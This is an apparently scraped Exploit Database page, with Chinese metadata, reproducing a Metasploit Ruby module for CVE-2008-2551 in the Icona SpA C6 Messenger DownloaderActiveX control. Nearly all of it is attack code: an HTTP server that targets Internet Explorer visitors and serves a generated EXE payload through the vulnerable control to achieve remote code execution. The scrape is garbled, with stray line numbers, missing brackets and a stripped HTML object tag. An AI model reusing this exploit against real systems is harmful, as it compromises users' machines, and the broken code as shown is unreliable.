Icona SpA C6 Messenger – DownloaderActiveX Control Arbitrary File Download and Execute (Metasploit)

Exploit Database
145 阅读

作者： Metasploit

日期： 2012-02-02
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18449/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',

'Description'=> %q{

This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The

vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The

insecure control can be abused to download and execute arbitrary files in the context of

the currently logged-on user.

'License'=> MSF_LICENSE,

'Author' =>

[

'Nine:Situations:Group::SnoopyAssault', # Vulnerability discovery and exploit

'juan vazquez' # metasploit module

'References' =>

[

[ 'CVE', '2008-2551' ],

[ 'OSVDB', '45960' ],

[ 'BID', '29519' ],

[ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ],

'DefaultOptions' =>

{

'ExitFunction' => "none",

'InitialAutoRunScript' => 'migrate -f'

'Payload'=>

{

'Space' => 2048,

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', { } ],

'DisclosureDate' => 'Jun 03 2008',

'DefaultTarget'=> 0,

'Privileged' => false))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Only IEs are potential targets

# "File Session" is used when the ActiveX tries to request the EXE

agent = request.headers['User-Agent']

if agent !~ /MSIE \d\.\d|File Session/

print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})")

return

end

payload_url ="http://"

payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}"

if (request.uri.match(/#{@payload_rand}/))

return if ((p = regenerate_payload(cli)) == nil)

data = generate_payload_exe({ :code => p.encoded })

print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

return

end

exe = rand_text_alpha(rand(5) + 1 )

content = %Q|

<html>

</OBJECT>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end

def exploit

@payload_rand = rand_text_alpha(rand(5) + 5 )

super

end